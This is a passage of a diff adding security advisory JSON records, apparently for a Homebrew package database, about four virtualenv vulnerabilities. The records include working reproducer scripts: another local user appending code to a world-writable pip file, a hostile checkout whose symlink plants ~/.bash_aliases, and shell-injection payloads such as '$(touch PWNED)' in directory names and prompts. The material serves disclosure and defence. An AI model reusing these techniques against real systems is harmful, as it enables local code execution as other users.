run used\numask `022`; a later environment had no files writable by another account, and that account could not append to\n`pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report\ncounted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and\n`bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both\nhistories.\n\nAn attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable\ndestination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates\napp-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425)\ncreates copied files under a fixed non-writable-by-others policy further restricted by the current umask.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant U as Environment owner\n participant C as Private app-data cache\n participant E as Later environment\n participant A as Other local account\n U->>C: first seed extraction under umask 000\n C-->>U: cached pip files have mode 0666\n U->>E: create environment under umask 022\n C->>E: shutil.copy reapplies mode 0666\n A->>E: append code to pip/__init__.py\n U->>E: run bin/pip --version\n E-->>U: appended code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nsys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes\nos.umask(0o022) # for the directories made here as root\nOWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids\nVIRTUALENV = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"] # default seeder; no network for the update check\n# read here, as root: /tmp/repro.d need not be readable by the other user\nATTACK = Path(\"/tmp/repro.d/other_user_appends_to_pip.py\").read_text()\n\n\ndef run_as_owner(command, home, umask):\n environ = {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}\n subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)\n\n\ndef mode(path):\n return stat.filemode(os.stat(path).st_mode)\n\n\nwork = Path(\"/tmp/seed-mode-repro\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nproofs = work / \"proofs\"\nproofs.mkdir()\nproofs.chmod(0o777) # the other user's line writes the uid it runs as in here\n\nwritable_by_others, appended_line_ran_as = {}, {}\n# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv\nfor case, umask_of_earlier_run in [(\"CONTROL\", 0o022), (\"OBSERVED\", 0o000)]:\n # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path\n home = work / f\"{case}-home\"\n home.mkdir(mode=0o700)\n os.chown(home, OWNER, OWNER)\n projects = work / f\"{case}-projects\"\n projects.mkdir(mode=0o755)\n os.chown(projects, OWNER, OWNER)\n\n # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it\n run_as_owner([*VIRTUALENV, str(home / \"earlier-env\")], home, umask=umask_of_earlier_run)\n # owner, today\n env = projects / \"env\"\n run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)\n\n (cached_pip,) = glob.glob(f\"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py\")\n (seeded_pip,) = glob.glob(f\"{env}/lib/python*/site-packages/pip/__init__.py\")\n env_files = [path for path in env.rglob(\"*\") if path.is_file() and not path.is_symlink()]\n writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)\n print(f\"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022\")\n print(f\"{case} cache pip/__init__.py {mode(cached_pip)}\")\n print(f\"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}\")\n print(f\"{case} env bin/activate {mode(env / 'bin' / 'activate')}\")\n print(f\"{case} env pip/__init__.py {mode(seeded_pip)}\")\n print(f\"{case} env files writable by others: {writable_by_others[case]} of {len(env_files)}\")\n\n # attack: another local user appends a line to the owner's seeded pip\n proof = proofs / case\n subprocess.run(\n [\"python3\", \"-\", str(env), str(proof)],\n input=ATTACK,\n text=True,\n user=OTHER_USER,\n group=OTHER_USER,\n extra_groups=[],\n env={\"PATH\": os.environ[\"PATH\"]},\n cwd=\"/\",\n check=True,\n )\n\n # the owner uses the environment\n run_as_owner([str(env / \"bin\" / \"pip\"), \"--version\"], home, umask=0o022)\n appended_line_ran_as[case] = proof.read_text() if proof.exists() else None\n print(f\"{case} other user's line ran as uid: {appended_line_ran_as[case]}\")\n\n# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier\ncontrol_is_private = writable_by_others[\"CONTROL\"] == 0 and appended_line_ran_as[\"CONTROL\"] is None\nobserved_runs_as_owner = writable_by_others[\"OBSERVED\"] > 0 and appended_line_ran_as[\"OBSERVED\"] == str(OWNER)\nprint(\"BUG\" if control_is_private and observed_runs_as_owner else \"OK\")\n```\n\n**`repro.d/other_user_appends_to_pip.py`**\n\n```text\nimport glob\nimport sys\n\nenvironment, proof = sys.argv[1:]\n(pip_init,) = glob.glob(f\"{environment}/lib/python*/site-packages/pip/__init__.py\")\nadded_line = f\"\\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\\n\"\n\ntry:\n with open(pip_init, \"a\") as pip_source:\n pip_source.write(added_line)\n print(f\"other user: appended a line to {pip_init}\")\nexcept PermissionError as error:\n print(f\"other user: {error}\")\n```\n\n## Impact\n\nCopied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those\naccounts to be able to traverse the destination's parent directories. An attacker need not control the private source\ncache.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix creates destination files with mode `0644`, or `0755` for executable sources, filtered further by the\ncurrent umask. It does not grant group or world write access, even with a permissive umask. Source modes are not\npreserved, including modes more restrictive than this creation policy.\n\nFix: [PR #3425](https://github.com/pypa/virtualenv/pull/3425).\n\n## Known mitigation\n\nCreate environments beneath a directory accessible only to their owner. Recreate environments whose permissions were\ninherited from a permissive cache.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-fc2g-4w5p-6whm" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113720" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/pull/3425" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/commit/35f0b33562790176dd186d0a3c517af3acc7a0e1" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/virtualenv" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-113721.json b/advisories/BREW-conda-lock-CVE-2026-113721.json new file mode 100644 index 00000000000..ae761a62955 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-113721.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-113721", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-558c-9hv2-4prj", + "BIT-virtualenv-2026-113721", + "CVE-2026-113721" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "21.14.9", + "resource": "virtualenv", + "resource_purl": "pkg:pypi/virtualenv@20.39.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "virtualenv", + "subject_version": "20.39.1", + "key": "pkg:pypi/virtualenv@20.39.1", + "resource": "virtualenv" + } + ] + }, + "summary": "virtualenv: Generated files can follow existing destination links", + "details": "## Summary\n\nGenerated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The\ntemplate writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the\nexisting path directly.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nFinal file entries written during environment creation and seeding.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare file links in the destination before creation. The invoking user must have write\npermission at the linked target. The destination parent must remain controlled during creation; concurrent\nparent-directory replacement is a separate concern.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py),\n[configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\n`ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink\ntherefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related\nfinal-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard\nlink there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's\npermission to write the linked target.\n\n## Reproduction and evidence\n\nThe scanner's project tree contains `venv/bin/activate -> ../../../.bash_aliases` and an executable `venv/bin/basename`.\nBefore creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation\nscript through the dangling link, creating `~/.bash_aliases` as a regular file. Debian's stock `.bashrc` sources that\nfile; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer\nchecks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate\nmanual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text.\n\nThe link lets creation write outside the requested environment. The attacker chooses the target path but the generated\nbytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not\narbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first\nreleased in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and\nuses exclusive creation for generated text. It does not make a destination safe if another account can replace parent\ndirectories during creation.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared project tree\n participant V as virtualenv writer\n participant H as User home\n participant B as Next interactive bash\n A->>V: venv/bin/activate links to missing ~/.bash_aliases\n V->>V: Path.exists() follows link and returns false\n V->>H: write activation bytes through link\n H-->>B: ~/.bash_aliases now exists\n B->>H: .bashrc sources ~/.bash_aliases\n B->>A: PATH reaches planted venv/bin/basename\n A-->>B: marker created\n Note over V,H: pyvenv.cfg can also overwrite an existing linked target\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\n# set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists\nhome = tempfile.mkdtemp(prefix=\"home-\")\nshutil.copy(\"/etc/skel/.bashrc\", f\"{home}/.bashrc\")\nbash_aliases = f\"{home}/.bash_aliases\"\nmarker = f\"{home}/attacker-ran\"\nopen_terminal = [\"bash\", \"-i\", \"-c\", \"true\"]\nterminal_env = {\"HOME\": home, \"PATH\": \"/usr/bin:/bin\", \"TERM\": \"dumb\"}\n\n# the attacker's repository, cloned by the user to ~/proj\ncheckout = f\"{home}/proj\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/make_hostile_checkout.py\", checkout], check=True)\nactivate = f\"{checkout}/venv/bin/activate\"\nprint(\"shipped: venv/bin/activate ->\", os.readlink(activate), flush=True)\n\n# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\nprint(\"before virtualenv: ~/.bash_aliases exists:\", os.path.lexists(bash_aliases), \"| marker exists:\", os.path.exists(marker), flush=True)\nassert not os.path.lexists(bash_aliases) and not os.path.exists(marker)\n\n# trigger: the user creates an environment in the checkout, then opens a new terminal\nsubprocess.run([\"virtualenv\", \"--no-periodic-update\", \"venv\"], cwd=checkout, env={**os.environ, \"HOME\": home}, check=True)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\n\n# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases\nprint(\"venv/bin/activate is still the symlink:\", os.path.islink(activate))\nwritten_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)\nprint(\"~/.bash_aliases created as a regular file:\", written_outside)\nif written_outside:\n print(\" its first line:\", open(bash_aliases).readline().rstrip())\nattacker_code_ran = os.path.exists(marker)\nprint(\"after a new terminal, marker exists:\", attacker_code_ran)\nif attacker_code_ran:\n print(\" it says:\", open(marker).read().rstrip())\nprint(\"BUG\" if written_outside and attacker_code_ran else \"OK\")\n```\n\n**`repro.d/fake_basename.sh`**\n\n```text\n#!/bin/sh\necho \"attacker code ran as $(id -un)\" > \"$HOME/attacker-ran\"\nexec /usr/bin/basename \"$@\"\n```\n\n**`repro.d/make_hostile_checkout.py`**\n\n```text\nimport os\nimport shutil\nimport sys\n\ncheckout = sys.argv[1]\nbin_dir = os.path.join(checkout, \"venv\", \"bin\")\nos.makedirs(bin_dir)\n\n# venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist\nos.symlink(\"../../../.bash_aliases\", os.path.join(bin_dir, \"activate\"))\n\n# the bash activation script runs $(basename \"$VIRTUAL_ENV\") right after putting venv/bin first on PATH\nfake_basename = os.path.join(bin_dir, \"basename\")\nshutil.copy(os.path.join(os.path.dirname(__file__), \"fake_basename.sh\"), fake_basename)\nos.chmod(fake_basename, 0o755)\n```\n\n## Impact\n\nCreation can overwrite or create files outside the requested environment with the invoking user's permissions. File\ncontents are constrained by what virtualenv generates.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text\nfiles. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It\nthen removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the\nconfiguration and ignore file paths. This also removes unrelated links directly in the executable directory. Final\nseed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib\nwrites still require a destination protected from concurrent replacement.\n\nFix: [PR #3431](https://github.com/pypa/virtualenv/pull/3431).\n\n## Known mitigation\n\nUse a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113721" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/pull/3431" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/virtualenv" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-113722.json b/advisories/BREW-conda-lock-CVE-2026-113722.json new file mode 100644 index 00000000000..5fd2608ca2b --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-113722.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-113722", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-c978-59m8-c77v", + "BIT-virtualenv-2026-113722", + "CVE-2026-113722" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "21.14.9", + "resource": "virtualenv", + "resource_purl": "pkg:pypi/virtualenv@20.39.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "virtualenv", + "subject_version": "20.39.1", + "key": "pkg:pypi/virtualenv@20.39.1", + "resource": "virtualenv" + } + ] + }, + "summary": "virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax", + "details": "## Summary\n\nA destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The\napp-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not\npreserve it as literal data in the shell wrapper.\n\n## Affected area\n\nPOSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.\nWindows executable launchers are not affected by this path.\n\n## Attacker-controlled input\n\nAn attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a\ngenerated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nThe app-data seeder passes the environment's interpreter path through `enquote_executable()` to distlib's `ScriptMaker`.\nIt adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path\nhas a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like\n`'''exec' \"\" \"$0\" \"$@\"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same\nwrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and\nactivation do not trigger the shell payload.\n\n## Reproduction and evidence\n\nThe scanner created three environments: a control under `my -touch PWNED- project`, one under\n`my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was\ncreated without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the\ncontrol created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the\ngenerated launcher, with the user's privileges, rather than during seeding.\n\nThe report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.\n[PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and\nrepairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip\ninstall or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up\nreview reports that later path separately.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Destination supplier\n participant V as virtualenv seeder\n participant D as distlib ScriptMaker\n participant S as Generated bin/pip\n participant U as User\n A->>V: path contains $(touch PWNED)\n V->>D: pass interpreter path with incomplete shell quoting\n D->>S: write /bin/sh wrapper\n Note over V,S: no payload runs during creation or activation\n U->>S: pip --version\n S->>S: shell expands path and runs touch\n S-->>U: PWNED appears with user's privileges\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/repro-console-script\")\n\n# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).\nDIRECTORY_NAMES = {\n \"CONTROL\": \"my -touch PWNED- project\",\n \"OBSERVED\": \"my $(touch PWNED) project\",\n # no space: distlib also picks the /bin/sh launcher once \"#!/bin/python\" is longer than 127 bytes\n \"OBSERVED_LONG\": \"p\" * 120 + \"$(touch${IFS}PWNED)\",\n}\n\nshutil.rmtree(WORK, ignore_errors=True)\npip_printed = {}\ncreated_by_pip = {}\nfor label, name in DIRECTORY_NAMES.items():\n # the payload can hold no \"/\", so it touches a relative PWNED: each case gets its own empty working directory\n cwd = WORK / label / \"cwd\"\n venv = WORK / label / name / \"venv\"\n cwd.mkdir(parents=True)\n\n # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)\n subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", str(venv)], cwd=cwd, check=True)\n assert list(cwd.iterdir()) == [], \"environment creation must not have created anything\"\n\n # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own\n pip = subprocess.run([venv / \"bin\" / \"pip\", \"--version\"], cwd=cwd, capture_output=True, text=True)\n pip_printed[label] = pip.stdout\n created_by_pip[label] = sorted(p.name for p in cwd.iterdir())\n\n launcher = (venv / \"bin\" / \"pip\").read_text().splitlines()\n print(f\"{label}: directory name {name!r}\")\n print(f\" bin/pip line 1: {launcher[0]}\")\n print(f\" bin/pip line 2: {launcher[1]}\")\n print(f\" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}\")\n print(f\" files bin/pip created in the working directory: {created_by_pip[label]}\")\n\n# check: a directory name is data; starting pip must run pip and nothing else\ncontrol_ok = pip_printed[\"CONTROL\"].startswith(\"pip \") and created_by_pip[\"CONTROL\"] == []\nattack_ran = created_by_pip[\"OBSERVED\"] == [\"PWNED\"] and created_by_pip[\"OBSERVED_LONG\"] == [\"PWNED\"]\nprint(\"BUG\" if control_ok and attack_ran else \"OK\")\n```\n\n## Fix scope and remaining exposure\n\nPR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The\npip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's\nvendored distlib.\n\nA later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing\nlaunchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to\nregenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.\nThe follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are\nattributed to the reviewer.\n\n## Impact\n\nRunning an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`, following the project's\n[generated-script precedent](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The vector\nassumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are\nrequired; successful command execution can affect the user's data and processes.\n\n## Versions tested\n\nThe maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review\nrecords reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are\nunchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse an environment destination chosen by a trusted user. For older releases, avoid generating\nenvironments at destinations derived from untrusted input.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-c978-59m8-c77v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113722" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/pull/3417" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/commit/2519941bed33ee0d3ac99277f67913e439e476a9" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/virtualenv" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-113723.json b/advisories/BREW-conda-lock-CVE-2026-113723.json new file mode 100644 index 00000000000..4be1da4bed1 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-113723.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-113723", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-6w3r-xr62-4xcp", + "BIT-virtualenv-2026-113723", + "CVE-2026-113723" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "21.14.9", + "resource": "virtualenv", + "resource_purl": "pkg:pypi/virtualenv@20.39.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "virtualenv", + "subject_version": "20.39.1", + "key": "pkg:pypi/virtualenv@20.39.1", + "resource": "virtualenv" + } + ] + }, + "summary": "virtualenv: Bash prompt values can change meaning under older compatibility modes", + "details": "## Summary\n\nCaller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.\n\n## Affected area\n\nBash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from\nnewer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation.\nIt does not establish exposure through unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[bash prompt assembly](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh).\n\n## Mechanism\n\n`bin/activate` copies the prompt into `PS1`. A shell expands `PS1` again when it draws a prompt, so the value must\nsurvive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules.\nThree other paths still interpret prompt data as commands: dash sourcing `activate` directly, a child dash inheriting an\nexported `PS1` from bash, and bash running at compatibility level 4.2 or lower. A value such as `x$(touch MARKER)y` then\nruns `touch` on prompt display. Creating the environment does not run the payload.\n\n## Reproduction and evidence\n\nThe scanner's child-shell reproducer creates an environment with `--prompt 'x$(touch MARKER)y'`, sources `bin/activate`\nin interactive bash, and starts interactive `sh` (dash). Its control leaves `PS1` unexported: neither shell creates\n`MARKER`. With `PS1` exported, bash displays the prompt without executing the value, but the child dash creates\n`MARKER`; the reproducer ends in `BUG`. The report gives separate console reproductions for direct dash activation and\nbash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported `PS1`.\n\nThe scanner linked this finding to [#3326](https://github.com/pypa/virtualenv/pull/3326) and its follow-up #3390. Those\nchanges cover the usual bash path but leave the three paths above. The proposed change in\n[#3418](https://github.com/pypa/virtualenv/pull/3418) keeps a variable reference in `PS1`, so prompt text is expanded as\ndata when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied\nby the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.\n\n## Introduced\n\nThe report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited `PS1` to #3390 (first\nreleased in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from\nthe report; the release confirmed by the maintainer is 21.14.8.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prompt supplier\n participant V as virtualenv\n participant B as Interactive bash\n participant D as Child dash\n A->>V: --prompt x$(touch MARKER)y\n V->>B: generated bin/activate\n B->>B: assign escaped prompt to PS1\n alt PS1 is not exported\n B->>D: start sh with its own PS1\n D-->>B: marker absent\n else PS1 is exported\n B->>D: start sh with inherited PS1\n D->>D: expand $(touch MARKER) on prompt draw\n D-->>B: marker created\n end\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-inherited-ps1\")\nshutil.rmtree(work, 